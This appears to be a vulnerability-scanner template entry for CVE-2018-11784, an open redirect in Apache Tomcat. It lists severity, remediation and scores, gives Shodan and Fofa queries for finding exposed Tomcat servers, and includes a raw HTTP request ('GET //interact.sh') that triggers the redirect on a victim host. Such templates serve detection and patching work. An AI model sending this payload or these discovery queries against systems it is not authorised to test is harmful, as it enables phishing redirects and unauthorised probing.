| Title | Apache Tomcat - Open Redirect |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | An attacker can redirect users to malicious websites, leading to phishing attacks or the download of malware. |
| Remediation | Upgrade to Apache Tomcat version 9.0.12 or later, or apply the relevant patch provided by the Apache Software Foundation. |
| CVSS Score | 4.3 |
| EPSS Score | 0.85117 |
| CVE ID | CVE-2018-11784 |
| CWE ID | CWE-601 |
| Shodan Query | title:"Apache Tomcat"http.title:"apache tomcat"http.html:"apache tomcat"cpe:"cpe:2.3:a:apache:tomcat" |
| Fofa Query | body="apache tomcat"title="apache tomcat" |
| Tags | cve cve2018 packetstorm tomcat redirect apache vuln |
Apache Tomcat versions prior to 9.0.12, 8.5.34, and 7.0.91 are prone to an open-redirection vulnerability because it fails to properly sanitize user-supplied input.
GET //interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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